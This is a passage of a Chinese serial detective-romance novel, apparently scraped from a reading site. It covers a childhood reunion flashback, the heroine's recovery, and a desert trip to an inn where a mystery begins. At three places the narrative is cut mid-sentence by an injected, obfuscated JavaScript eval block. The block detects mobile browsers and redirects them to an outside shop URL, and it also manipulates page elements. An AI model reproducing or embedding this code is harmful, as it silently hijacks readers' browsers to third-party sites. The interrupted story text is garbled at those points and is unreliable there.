小和尚停下手里的动作,环顾四周。 云水蓝的窗帘,山岚色的窗幔,被褥和床幔同色绣着莲花纹,看上去平平无奇。 书桌就放在在窗下,上面的花瓶中斜插着几朵雪白的栀子花,床正对着窗户,坐在床上就能看见院里那一片栀子花。 好像…… 是变得好看了起来。 “你喜欢的话……可以常来玩儿。” “真的?!”小姑娘一脸惊喜。 头上的小辫子又弹了两下。 “真的。” “小和尚你人真好!”小姑娘叽叽咕咕说个不停,“虽然看上去冷冰冰的没有表情,但是你给我配药,还愿意和我一起玩。你去过西市吗?那里有特别好吃的糖葫芦,到时候我们一起去好不好……” 天色将晚,小姑娘才停止了话头。 “哎呀!我该回家了!” 小和尚慢慢把药包递给她。 “谢谢你!”小姑娘揣好药包,“明天我还可以来找你玩吗?” “可以……” 等小姑娘的身影彻底消失,小和尚关上了门窗,从怀里掏出了那个烧饼。 饼子是油灿灿的,和他从小吃的不太一样。 他带着好奇咬下一口。 一股他从来没有尝过的奇异香味在唇齿间炸开。 是…… 他低头看向烧饼的中间。 “这……就是肉吗?“ 日夜更替。 禅房里,小姑娘和小和尚肩并肩坐在一起。 小姑娘一边打着络子,一边叽叽呱呱说个不停:“以后隔两天我就给你带一个肉饼。今天方丈给我说过了,说你身体不好,不是真和尚,可以吃肉。我就说你怎么脸都是黄黄的。不过好奇怪啊,方丈为什么非要我偷偷摸摸带进来,不让任何人瞧见呢……” “姐姐。”小和尚忽然打断了她,“你叫什么名字?” 小姑娘动作一顿,肩膀都垮了下来。 “我可以教你写自己的名字。”小和尚偏着头。 “我……”小姑娘委屈地垂下眼,“我的名字不是名字。” “不是名字?” 小姑娘死死咬着嘴唇:“我……我娘叫我招娣。” 青嶂寺供奉的是送子观音。 二人年纪再小也知道这个名字所谓的含义。 “我不喜欢这个名字。” 小和尚拿起纸笔:“那就换一个。” “换一个?”小姑娘是个实诚孩子,“你知道我没怎么读过书的。” “我读过,我帮姐姐取。” 小姑娘看着他那一架子的书,信任地点点头。 “嗯!” 她眉头的红痣各位显眼,小和尚的脸红了红,提笔写下“观音”二字。 小姑娘凑过看。 “观音?”她大惊失色,“这个名字会不会不太好?怎么能叫观音娘娘!这算不算犯忌啊?” “前朝有个皇后就叫观音,不算的。” “可是……”小姑娘还是一脸犹豫。 “这样吧。”小和尚把纸张左右对折,只露出一个音字,“李音好不好?瑞音,是吉祥如意的意思。” “李音……李音……”小姑娘念了几次,越念越觉得顺嘴,“李音……好!这个名字好听。” “那以后我就叫你音姐姐。” “音姐姐……音姐姐……” 耳边的声音陌生而熟悉。 只有他会这样叫自己,可是他的声音不该这样成熟,应该更稚嫩…… “音姐姐……你不要死……” 一滴热泪滴在手背上。 真实的触觉将人彻底拉出梦中。 李希言猛然睁开了眼。 “小和尚!” “你醒了!”容朗紧握住她的手一僵。 他的眼睛是微微红肿的,脸上的血色褪尽,向来梳得整整齐齐的头发也是乱得垂下来几缕。 李希言眯着眼,意识恍惚,一直压在心底封印松动。 “小和尚……” 巨大的惊喜在胸腔内冲击着。 容朗一时觉得喉咙都干得发疼。 他有好多好多话想要跟她说,可是却发不出声音。 沉默持续了片刻,李希言忽然猛烈了咳了几声。 容朗立即扶着她坐起来,给她顺气。 李希言喘了几口气,浑身的酸软提醒着她此时的虚弱。 “我睡了几日了?” “两日。”容朗眼眶一红,“是那个有死刑刺字的人放的冷箭。” 他低下头,掩饰着自己的表情。 “那支箭就差一点点就命中了要害。” 李希言摸了摸自己的心口。 那里裹着厚厚的纱布,还残存撕裂的痛感。 “他人呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533819|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “死了。他自己跳入火海中,烧得渣滓都不剩。”容朗微笑,“你放心,我已经把他挫骨扬灰……” “这人可真是……”想到那张阴沉沉的脸,李希言打了个冷战。 “咳……”容朗刻意咳了一声。 李希言抬起头。 “嗯?” “你刚刚叫我什么?” 叫他什么…… 一股复杂的情绪涌上心头。 李希言很是不安,眼神避开了他的注视。 “李音。”容朗双手捧着她的脸,强迫她看着自己,“你为什么要逃避?是因为讨厌我?” 浅色的瞳孔里带着灼灼的热意。 “那我不是李音呢?” 容朗愣了一下,忽然笑了。 “别扭。” “你才别扭!”李希言飞快地反驳,一掌直接打开他的手,别过头,不想看他。 这是恼羞成怒。 容朗靠近了点,几乎是贴着她,牵起她的手握在手中,如同在藏匿珍宝的龙。 “只有你,我不会认错。”容朗扭着头去看她,伸出手抚摸着她的眉头,“那日的订婚宴,我第一眼就认出了你。不是因为长相,也不是因为这一颗红痣,只是因为是你。” 李希言的心剧烈跳动了一下。 “怎么?”容朗俯身,在她的虎口轻咬,“还不认账?” 略带尖利的牙齿在手掌上留下酥麻的刺痛。 “小和尚……” 李希言向前,靠在他的怀里。 温暖,不干不燥,带着一点点甜味的气息。 小时候,她更高些,每次都是他这样靠在她的怀里。 “姐姐……”容朗压住心底的狂喜,颤抖着环抱着她,“你这些年过得好不好?” “很好。”李希言深深吸了一口气,感受着他的气息,“那日我回家后,家里起了火。师父前来捉拿凶手的时候发现了我,给我治伤的时候他偶然得知我父亲和他竟然是同宗的亲戚,于是他就将我收作了弟子……” 容朗将她抱得更紧:“那日之后不到一个月,哥哥就想办法接我回了宫。因为当时皇后还在,我一直不敢找你。等皇后死了……我就……” 他就再也找不到她了。 他只知道,那场大火烧毁了整座村庄,而幸存者中,没有她。 “当年的事情很复杂……”李希言解释道,“那日,是江湖上的人为了争夺什么宝物在我家附近大打出手才引起了大火。师父隐瞒我身份的缘由,是因为那两个江湖人出身大门大派,害怕我被报复……我也去过青嶂寺……但是……” 那时,她已经是绣衣使,那个传说中杀人不眨眼的绣衣使。 她不知道该怎么去面对他。 她记得。 在第一次出去破案的时候,为了追查凶手,她去了一趟佛寺。 那是一个普通的寺庙,和青嶂寺很相像。 她刚刚一进门,一个小和尚就被她吓得丢了魂,差点晕了过去。 当时的她有些失落。 和她同行的越望作为前辈宽慰她,说普通人见了绣衣使者都是这样的,很正常……是啊,很正常…… 那万一小和尚看见她也会那样呢? 恐惧,害怕,失望…… “你呢?你过得好不好?” “很好,皇后死了,就没什么了。哪里都好,只是没有你在。”容朗委屈地蹭了蹭她的颈窝,“我好想你……我也好难过……为什么我没有早一点见到你呢?” “谁让你到处乱跑!”李希言戳了戳他的肚子。 “还不是为了找你。” 那时的他,为了寻找她走遍了整个大晋。 东边的雪山,西边的荒漠,南边的瘴林,北边的草原…… 都没有她。 但是,他知道,她肯定没有死。 他坚信这一点。 “傻子。” “我是傻……”容朗在她的额间轻轻落下一个吻,一点一点往下,到鼻尖,到唇瓣,“姐姐给我治一治……” 第一阵春风拂过刚刚出芽的杨柳,吹去醴州城上披着的一层沙粒,露出了绿的草,红的花…… 102. 第七案:鸣沙客栈杀人案 李希言确实伤得不轻,调养了大半个月才能够随意走动。 天刚亮,她就起了身,在院子里练功。 身上的肌肉已经松弛了些,她必须要立即调整好自己的状态。 “这么早就起来?”容朗不知道从哪里飘来出来,站在她的背后,“大夫说过,你需要静养。” 李希言被他吓了一跳。 带着关切的目光让她有些气短。 “已经半个多月了,我只是小幅度活动活动。” 容朗斜眼看着地上的石锁,不吱声。 李希言尴尬一笑,上前一步挡住石锁:“你陪我出去走走吧,听说醴州的沙葱牛肉饼不错,我很想试试。” 容朗一下服了软,牵起她的手:“这几日天气好,早上也没有风。” 被他这样牵着,李希言是有点不习惯的。 万一被别人看到了怎么办? “怎么了?”容朗看出她的羞涩,故意将手牵得更紧,“走吧,刚好我们再去添置些东西。过几日不是就要过鸣沙山了吗?” “那个……我……” 背后传来瑞王弱弱的声音。 容朗眼中凶光一闪,转过去瞪着他。 瑞王硬着头皮,仰着头,故意不去看二人牵着的手。 “我也想出门……” “小孩儿出门危险。”容朗晃了晃二人牵着的手,“我们出门,你别当跟屁虫。” 面前的景象让瑞王刚刚鼓起的勇气瞬间散去。 天呐! 他还是接受不了李夫子和他小叔叔是一对这个现实! 真是可怕! 李希言生平第一次在自己学生面前低下了头。 “我们先走吧。” 吃着冒着香气的牛肉饼,就着热呼呼的羊肉汤。 一顿饭下去,浑身由内而外地暖和。 二人在摊子上相对而坐。 “接下来我们去哪儿?” “鸣沙山不小,这一去在沙漠里得待三四日的时间,我们必须要备点物品。” “呃……”容朗问道,“过沙漠要买什么?” 李希言愣了一下。 这些事情一般都是苗青在负责,今日说什么出来采买本就是临时兴起。 她一时还真不知道该如何回答…… “春风来,莫出门,人在家中点灯台。行人见路不见路,庄稼都在地里埋。辛苦人,越沙尘,身带三样救命物。长风帽,银水壶,还有一身大皮袄,平平安安到醴城!” 稚嫩那个童音让二人不由望了过去。 一群小孩儿举着拨浪鼓,拿着风车,一边唱一边跳。 “喏,小孩儿知道呢!” 他站起身,朝着那群孩子走过去。 见到一个高大的年轻男子走过来,那些小孩儿也不躲不避,反而好奇地围了过来。 容朗蹲下身子。 “你们都是醴州本地的?” 小孩儿们连连点头。 “大哥哥是外乡人!” “对,大哥哥是外乡人。”他摸出一颗碎银子,“所以大哥哥要向你们请教一个问题,只要你们回答对了,这个碎银就奖励给你们去买糖吃。” “问吧问吧!”孩子们亮着眼睛看着他。 “过鸣沙山需要准备什么东西呀?” “水壶!大水壶!”一个孩子抢着回答。 他身边另外一个孩子补充道:“要羊皮做的最好,才轻便!” “真棒!还有吗?”容朗继续问。 “还有长长大大的风帽,把脸和头发裹起来,免得进沙子。” “还要带个大皮袄!晚上可冷了!” …… 容朗得到了满意的答案,把银子给了那群孩子。 小孩子的心性,一拿到银子就开心得直蹦哒。 容朗笑着走回去:“这些小孩儿可真是机灵。” “确实没有你家侄子小时候那么招人烦。” “在你面前,他已经算是收敛了。”容朗看了一眼左边热闹的市场,“我们就在这儿买?” “行。” 李希言站起来。 “就当是消食,也让苗青歇一歇。” “苗青……他确实是辛苦,也确实能干。” 一路走来,容朗也发觉了苗青的活儿是最繁琐的,像是个大管家。 “说来,因为他的能干还闹出过些事端来。”李希言开始八卦自己属下的隐私。 “什么事端?”容朗想着苗青多圆滑的人,怎么会闹出事端? 李希言强忍笑意:“你可知道京城有家姓邱的富商?” “他家?” “嗯,邱家娘子听闻苗青理事很是厉害,特意上门求赘……带了八个箱子的彩礼。” 容朗傻眼:“在绣衣司?” “对。” “她怎么进去的?” “卫川特意把人带进来的。” 容朗笑出声:“卫川真是……” 果不其然,是他能做出的事。 “苗青气得脸都红了。他又是个不说重话的性子,竟然一下急哭了。” 容朗捂住嘴。 无法想象当时的画面。 “之后,邱娘子眼睛一亮说……”李希言学着邱娘子的语调,“原本以为你姿色平平,没想到哭起来竟然还算是可人,我可以再多加一倍的彩礼。” “再之后呢?” “苗青哭着拒绝了,邱娘子遗憾离开。第二日又让人送了一箱子金子说是给苗青压惊,让他不要见怪。”李希言补充道。“苗青收了。” 容朗笑得不行。 “确实该收。” 二人说得正开心,忽然被一人叫住。 “二位请等一等!” 二人转过头。 只见一个穿着亮眼的红色短打,脖子上挂着好几个拨浪鼓的中年人小跑着朝着二人喊着。 容朗问道:“你有何事?” 中年掏出一粒碎银:“您刚刚是不是给了一群孩子这个?” “是啊!你……” 中年大松一口气:“那就好……那就好……” 容朗一头雾水:“你这是?” 中年不好意思挠了挠头:“那些孩子拿着碎银来找我买玩具,我还以为……就多问了几句。” 一群普通人家的小孩拿着碎银来买东西,确实异常。 容朗解释道:“刚刚我问了那些孩子一些问题,这是谢礼。” 中年不住的道歉:“是我多心了……” “没事。” 青年回头望了一眼:“我的货还在那儿了,就先告辞了。” 他说完行了个礼就风风火火离开了。 容朗感叹:“难怪那些孩子见外人都不怕,这里民风倒是淳朴。” “小地方也有小地方的好处。”李希言很喜欢这样的环境,“都是相熟的人家,有人情味。” “京城哪里都好,就是冷冰冰的。”容朗很是感叹,“我去过许多地方,要不是京城有哥哥嫂嫂在,当真是没有什么意思。” “那如今呢?” “如今嘛……自然是此时此地最好。”容朗转过头一笑,“我听说本地有个厉害的大夫,专治跌打损伤,我们去买几贴膏药试试?” 二人拎着大包小包回驿站的时候,绣衣使们都在大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14545194|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂里,苗青眼皮一跳。 这是抢他的活儿干吗? 李希言把东西一放:“那些马匪的事情都处理完了吗?” 关风和回答道:“都处理完。那群马匪攀上的是鸣沙县的县丞。今儿刚去搜了那县丞的一处私宅,里面全是被马匪劫的女子,任凭他再巧舌如簧,也辩解不了这些罪行!” “真是好样的。”李希言冷冷一笑,“核实后立即斩首,那些马匪,一个都别放过。” “是!”关风和说道,“难怪那日那个头子一见我们去救那些女子就急得不要命,原来是怕这些女子说出他和县丞勾结的真相!” “县丞不倒,他不死。”李希言摆摆手,安排道,“三日后,我们就进鸣沙山,去凉州。” “这么急?”苗青有些无奈,“您身子才好,再休息几日吧。” 李希言压低了声音,见四周没有其他人才说道:“凉州来信,军中出了瘟疫。” 气氛骤然变得紧张。 只是到底在大堂,也不好追问。 “是。” 三日后。 一行人收拾好行李,从鸣沙县出发。 因为此处要越过的鸣沙山还不算太大,他们还是选择了骑马。 清早出发,天气晴好,还算不错。 从鸣沙县西门出,就是传闻中的鸣沙山。 脚下的碎石子越来越少,沙尘越来越多。 慢慢的,视野所能及之处全部被黄沙填满,只有零星几根枯木枝是其他的色彩。 松散的沙子让马儿也放缓了脚步。 在浩瀚的沙漠中前行,竟然有一种闲适的感觉。 李希言骑在马上,昏昏欲睡。 忽然身下的马儿长嘶一声。 “有马队。”容朗在她的耳边小声提醒,“应该是马贩。” 李希言立即打起了精神。 就在一行人前方不远处,一队马匹停了下来。 那领头之人是个圆脸大胡子的中年人,一身豪气,冲着众人招手。 李希言和容朗走上前和他互相见过礼。 大胡子笑着问道:“你们也是去凉州的吗?” “正是,大哥也是去凉州?” “是啊!”大胡子主动邀请,“咱们同路吧?听说这边马匪闹得可厉害,互相还能有个照应!” 李希言自然不好拒绝。 “这自然是好。” 大胡子笑咧了嘴,打探道:“你们是做药材生意的?” “是,鄙姓任,京城人。这位是家弟,任朗。” 大胡子抱拳:“在下鲁达,是云州人,家里世代养马的。” “鲁大哥谦虚了。”李希言瞥了一眼对方的马队,“您这些马可不是凡品,看来你还是个大老板呢。” “这些大半都是给周小将军带的!”鲁达也直来直去,“那些劣等的才是我的。” 容朗忽然出声:“周彻?” “那可是定远将军!”大胡子笑着解释道,“我说的是西平郡王的次子,周霍。他最是喜欢马儿。” “原来如此。” 双方合成一队同行。 鲁达见识多性格爽直,说话风趣,双方倒也算和谐。 行到了下午,突然卷起了风沙。 铺天盖地席卷而来的黄沙与之前遇到的不同。 所有人都俯下身。 过了许久,风沙暂停,眼前的地形却忽然一变,让人摸不着头脑。 鲁达面露难色:“这……我也来过几次……” 绣衣使们也一时失了方向。 正在此时,后方,一辆马车缓缓来驶。 “是你们?!” 103. 鸣沙客栈 马车上,一个中年探出头对着二人摆手。 此人还真算是熟人。 正是那日在集市上叫住二人的货郎。 “二位也是要去澧城?” 李希言答道:“去凉州送一批药材。” “那可是要紧的事!”中年主动问道,“刚才风沙大,诸位可是迷路了?” 容朗无奈一笑:“头次来,才知道原来拿着地图也分辨不了方向。” 旁边赶车的马夫插嘴道:“鸣沙山本就是沙丘,全是沙子,一刮风这模样就变了。别说您头次来,我这儿来来往往多少次,有时候都还是走得晕头转向。” 他一脸沧桑,下巴长着密密麻麻胡茬,声音洪亮高亢,颇有本地人的气质。 “是啊,刘大哥说得没错。”青年说道,“我也来往不少次了,每次都还是只敢慢慢走,夜里都在前面的鸣沙客栈歇一晚。也就刘大哥胆子大,不管日夜也敢行路。” 马夫毫不在意地一笑:“主要是舍不得钱住店。” “您放心,这次让您帮忙带路,您和我住一块儿就行了。不会让您付钱的。” 容朗主动自我介绍:“在下姓任,这位是家姐,这位是鲁大哥。不知二位如何称呼?” 货郎介绍道:“我姓蔡,叫做蔡旺。这是刘大哥,叫刘春。” 几人互相见了礼,自然而然就结伴同行。 刘春确实熟悉鸣沙山的路,不过一个时辰,一行人就翻过了山顶。 眼见着太阳要落下。 他催促道:“得走快些。这几日风沙大,得赶在天黑之前到客栈。” 都是听劝的人,一行人一下提起了速度。 幸好,就在天边泛起灿烂的紫红色云霞时,一座两层的小楼出现在众人的视线中。 小楼外已经亮起了一盏盏灯笼,随着风摇晃。 众人行到客栈门口,下了马。 门瞬间打开。 伙计迎了出来,打量了众人一眼。 “各位都要几间房?” 鲁达只带了几个仆人:“一间上房,其余的看着安排。” 李希言也知道这里上房肯定不多:“还剩几间?” “只剩两间了……”伙计说道,“其余的房间还挺多的。” “那就两间,给这二位留两间好点的房,其余的你看着安排。” 这是要买单的意思。 蔡旺连忙推辞:“怎么能让任娘子破费……” “要不是遇见你们,今晚上我们还得吹沙子呢。”容朗拉住蔡旺,“我阿姐最不喜欢别人推脱了。” 推辞太过,反而显得疏远,二人也不好多说。 鲁达也说道:“今晚上喝酒我请啊,都不许推辞!” 刘春主动提出:“我这人没其他的本事,各位若是放心,让我去帮忙安置一下各位的马匹吧?” 有来有往才是相交。 容朗点头:“那就麻烦您了。” “凑巧我今儿也没带上我家里那几个驯马师,就劳烦刘老弟了!” 回屋放好行李,李希言就下了楼。 鲁达的大嗓门正喊着:“刘老弟怎么还不过来?” 从后头走出来的蔡旺解释道:“刘大哥爱马成痴,见了您那匹骨利干马,欢喜得不行,非要给那马儿梳梳毛才过来。” 鲁达一脸惊奇:“那马儿愿意让他近身?” 蔡旺眨了眨眼:“是啊,我看那马挺听话的呀。” “真是奇了!”鲁达抚掌,“那马脾气最烈,平日里除了我和几个驯马师,那是谁都不能碰一下。” 蔡旺压低了声音:“唉……您有所不知啊,刘大哥本来就是个驯马师。” “那他怎么……”鲁达迫切追问。 “我也不是太清楚,只仿佛听人说过,刘大哥十几年前被一家大户弄伤了手,没讨得公道还反而被……之后就做起了马夫。” 此时,李希言才发觉,刘春的左手好像一直是拢着的。 鲁达啐了一口。 “这些畜生!” 蔡旺连忙叮嘱道:“诸位别在面前提这事儿啊!刘大哥很介意别人说他左手受伤的事情。” “真是没有王法了!”鲁达皱着的浓眉忽然一松,“不过我前几日在鸣沙县碰见那勾结土匪的县丞在菜市口被斩首,听人说,是被绣衣使查出来的。” 一旁的李希言动作微微一顿,坐在四周的绣衣使都不由放轻了呼吸。 整个客栈气氛微妙了起来。 “怎么?”容朗信步从二楼上走下来,笑吟吟地说道,“鲁大哥是想去找绣衣使主持公道?” 鲁达使劲点点头:“那大户再厉害,也不可能惹得起绣衣使吧?” 容朗挨着李希言施施然坐下:“鲁大哥倒是很信任绣衣使?” 鲁达大手一拍桌面:“那是任郎君你对绣衣使有偏见啊!你知道这次在鸣沙县的绣衣使是哪一个吗?” “哪一个?”容朗的手在桌下悄悄碰了碰李希言。 说你呢~ “绣衣使里面就几个女官,我打听过了,这次来的呀,是那个年轻些的,叫李希言。” 蔡旺讪笑:“绣衣使会理我们这些人的官司吗?” “怎么不会?”鲁达一脸肯定,“其他的我不确定,但是这个李希言一定会。” 容朗憋着笑:“鲁大哥很了解此人?” “自然!你们有所不知,我原来在汾州的时候就听人说过,当年有一桩杀人案,那凶手穷凶极恶,专门挑着青楼女子下手,而且他不仅杀人还……还剥皮。最后就是那李希言以身涉险,扮做青楼女子引出的凶手。” 鲁达大为感怀。 “给我说这事儿的人就是当时给李希言治伤的大夫,他说,当时要不是苏家那个苏兆出手相助,李希言怕是……” “咳咳!”李希言用力咳嗽了两声,急忙转移话题,“鲁大哥说这事是什么意思?” 鲁达哪里感觉到了四周诡异的气氛? 他说道:“当时死的都是青楼女子,这个李希言尚且能为了她们以身涉险,可见此人绝非传说中的酷吏,不过是手段霸道一点。要我说啊,比那些……好的多!” 四周沉默了一瞬。 “鲁大哥了解这些是也有冤要诉?”容朗忽然开口。 鲁达迟疑了一瞬。 “人活一世,谁没点冤屈苦难。” 到底只是萍水相逢,容朗也只是顺口一问,见对方不愿提及,他也立即打了圆场。 “你也不必烦忧,那绣衣使不是就在鸣沙县么?等你办完事就早早折返便是。” “就怕那绣衣使早早走了。” 容朗压低了声音:“不会的,我听人说过,那绣衣使要多留两个月呢。” “真的?!” “恰巧认识县衙的人。” 鲁达脸上的忧愁瞬间散去,笑了起来。 “这客栈人倒是不多啊。”容朗看向二楼的天字号房间,六个房间,他们占了四个,还有一个是有人住的,还剩了一个。 蔡旺说道:“可能是从澧城往鸣沙县赶路的客人吧?澧城到这里要远些,走得再快,也要天黑后才能到。” “原来如此。不过,我们也是运气好,刘老弟……” 鲁达话还未说完,一声马匹的嘶鸣从后面传了过来,紧接着又是噼噼啪啪东西的倒地声。 “怎么了?” 几人不由站起身,朝后面走去。 后面的马厩已经乱成一团。 刘春站在一片狼藉中,双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565986|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽着一匹黑马的缰绳,低着头。 他的面前躺着一匹已经死去的马。 而一个鼠眼短眉的中年人正站在不远处指着刘春的鼻子骂。 那人穿得富贵,一身绸缎衫子闪闪发光。 鲁达冲在最前面,冲着那人吼了回去。 “你大爷的骂谁呢!” 那人一看就是个欺软怕硬的货色,一见这五大三粗的鲁达发火就短了气。 李希言和容朗也走到了刘春身边。 “刘大哥?”容朗询问道,“可有受伤?” “我没事……只是这马……”他抬起头看了一眼那匹躺在地上的马,一脸心疼。 “我也不和你吵!”那骂人的中年人快步走过来,对着刘春说道,“你得赔我的马!这马可是死在你手里!” 刘春虽然沉默,但是绝非蠢人。 “刚刚是你的马匹发狂导致马厩所有马匹受惊,我好心帮忙稳住了其他马匹,你还要让我赔钱?更何况你这马本来就得了病,才导致这些事情。我还没找你赔钱呢?你倒是先开起口来了?” “你的马才有病!我的马好好的能有什么病!” “不管有没有病,确实是你的马最先发狂才惊着了其他的马。” 一道阴沉嘶哑的声音从马厩的耳边响起。 李希言寻声望去。 一个一身黑衣的男子缩坐在连接前堂和后院的门旁边。 看上去就让人觉得遍体生寒。 一身黑衣,佝偻的脊背,干枯布满皱纹的皮肤,却配着一双明亮凸出的大眼。 像是夜叉。 他挣扎着站起身:“我一直坐在这里,亲眼所见。” 那人却还是不依不饶:“总是他害死了我的马!”他指着马的脖子,“他敲了我的马这里一下,我的马就死了!” 黑衣人张了张嘴,算是默认了这个说法。 “那是因为你的马本来就有病!我当时要不是把它打晕,你其他的马也会死!” “我不管!你有什么证据能证明它有病?” 和这种不要脸皮的人吵下去也没用。 鲁达出面道:“这样吧,这钱我来赔。大家和气生财和气生财。” 刘春一下急了:“鲁大哥,这可不少钱……” “没事儿。”鲁达摸了一把那匹黑马,“我这马才是价值不菲,你帮我保住他,该我谢谢你的。” 那人一听说要赔钱,一下脸都不红了。 “要赔也行,我不要钱。” 一个一看就钻钱眼里的人,怎么会不要钱。 “那你要什么?” “我这人心善。”那人拍了拍自己凸出的肚子,“你就随便拿你一匹马来赔我吧。” 这话说得好听,实际上确实占了大便宜。 鲁达带的一批马里哪怕是最次的也比他那普通的马好上许多。 “你不要太过分!”刘春大声吼道。 “我哪里过分了?”那人摊开手,“我没马骑呢,明日还要赶路,要一匹马很过分吗?” “没事。”鲁达眯了眯眼,“给他,反正我这马也卖不出去。” “鲁大哥……”刘春小声吼道,“这人明明就是……” “我这马更贵。”鲁达拍了拍黑马的脖子,“不计较那么多。” 不等刘春再说,他就指了自己马队里一匹灰青色的马。 “这马赔给你!” 那人一下喜笑颜开,立即让身边的一个仆人去牵马。 闹剧结束。 鲁达宽慰刘春:“这人呐,拿了不属于自己的东西迟早也会以另外一种方式吐出来!” “可是……” “不说那么多!”鲁达拍了一下他的肩膀,“走!我们去喝酒!” 104. 点灯台 客栈内。 老板终于端着一盘子烤肉出现。 是个年轻的妇人,看上去也就二十左右,脸庞微圆,面色红润,笑起来很是喜庆。 她走上前,小声朝着众人道歉。 “今日的事情让几位受委屈了,这是小店一点心意,还望诸位不要为了这样的事情破坏心情。” 那烤肉做得可算是活色生香。 油滋滋的,还冒着烟。 刘春懵了一下:“您是老板?” 他怎么记得这老板是个男子呢? “这是老板的夫人,俩人刚成婚呢。”蔡旺帮着已经红透脸的妇人解释。 刘春干巴巴说了两句恭喜。 那妇人又招呼了几句就羞得回了后面。 “我记得那汪老板三十多了吧?”鲁达瞪圆了眼,“竟然才成婚?” “铁树开花是好事嘛。”蔡旺打趣。 正说着话。 客栈的大门被砰得一下从外面推开。 带着沙子的风一下灌了进来。 众人连忙伸手去挡面前的饭菜。 守在门口的伙计也飞快关上了门。 只见一个穿着极其富贵的茶商大摇大摆走了进来,眼神挑剔地环顾四周。 方才就是他身侧的两个仆人开的门。 他摆摆手,大拇指上一枚翡翠扳指很是惹眼。 “我预定的上房呢?” 原来,他就是最后一间上房的主人。 李希言厌恶地皱了皱鼻子。 “石家。”鲁达一眼就认出了此人,“卖茶的石家。” 这名头,李希言也听过。 世世代代在凉州贩茶。 “他怎么也跑这里来了?” 凉州贩茶多是对外,怎么会反而往回走? 鲁达也搞不懂这里面的门道,摇了摇头。 “谁知道呢。” 众人继续喝酒,没再管这石姓茶商。 然而,山却来就他们。 那茶商一回屋放完行李,下楼就直奔一桌人而来。 小小的四方桌已经坐了五人,他也不介意,颇为自来熟地打招呼:“这位就是鲁老板吧?” 没想到对方竟然认识自己,达有些意外。 “正是。” “在下石中泉,几年前家弟曾在您那儿购入过一匹神骏。”他此时行止又变得极为有礼,和刚才的模样迥然不同。 话都说到这个份上了,鲁达只好邀他入座。 “相逢即是有缘,石老板不如和我们拼个桌子?” 石中泉眼神不留痕迹地往旁边李希言二人身上掠过。 “那就恭敬不如从命了。” 他一开始就是看这二人气度不凡,才想着来结交一二。 一坐下,他就把话题往二人身上引。 “任娘子是京城人?怎么我见任娘子倒是觉得有几分面善。” 李希言面不改色:“几年前去过凉州,或许石老板真见过我。” 她不说这话还好,一说…… 石中泉还真觉得见过她。 容朗觉得嘴里有点酸酸的。 他满脑子都是李希言朝着那个周什么笑的模样。 气氛微妙间,客栈的门再度被打开。 这次来的是个二十出头的小娘子。 鹅蛋脸长眉细眼,清秀端正,一身利落打扮,背着个药箱,看上去很是干练。 “还有空房么?”她开口的声音却十分让人意外,很是粗犷,像是得了风寒。 “有的,您要……” “我……”女子的目光在客栈里来回打量了好几圈才指着大堂一楼最中间的房间说道,“就那一间。” 伙计伸手去接她的包袱:“好勒,我……” 女子一下躲开,紧紧捏着包袱:“我要一个馒头,一碗白粥,两壶热水,送到房间里。” 她说完就飞快跑入房间,留下伙计一个人在原地挠头。 “这……要咸菜吗?” 真是古怪的小娘子。 穿得也不差,就吃白粥馒头? 还不等李希言探究完,陆陆续续又进来三个客人。 一个黑壮汉子,带着一袋子叮叮当当的工具像是个工匠。 一个斯文文士,温文尔雅,说话都轻声细语。 另外一个面白瘦个儿男子,看上去身体不要好的样子。 他是在凉州城开茶叶店的,叫做何青飞,正好和石中泉认识,一来就被招呼着坐了过来。 还好,这人还算个懂礼之人,说话做事颇有章法,不招人讨厌。 “真没想到能在这里碰见石老板,这天气您出门做什么?” 石中泉耸着肩膀,无奈地摆手:“别提了。” 何青飞面色一变:“传闻竟是真的吗?” 什么传闻? 正埋头品尝烤肉的李希言一下被吸引了注意。 不等她开口,旁边的心直口快的鲁达就抢先说道:“什么传闻?” 石中泉长叹一口气。 “我倒霉……清明节的时候,我去祭祖,没想到家里祖坟塌了。好不容易把祖坟修好,我又碰见……碰见鬼了。” “碰见鬼?” “是啊。我原先也是不信这些的,可是那晚上……我真看见了那尸体在那儿走路,一排一排的……”石头中泉拍着胸口,一副的惊魂未定的模样。 容朗不由想到了一个词。 “赶尸?” 石中泉脸色更白了。 怎么越说越吓人。 还是鲁达见多识广。 “要真是赶尸就没有好怕的了。” 石中泉勉强一笑:“鲁老板,你这胆子也忒大了。” “诶!哪是我胆子大。只是这赶尸根本像传说中那样吓人。” 众人好奇,都屏住呼吸听了起来。 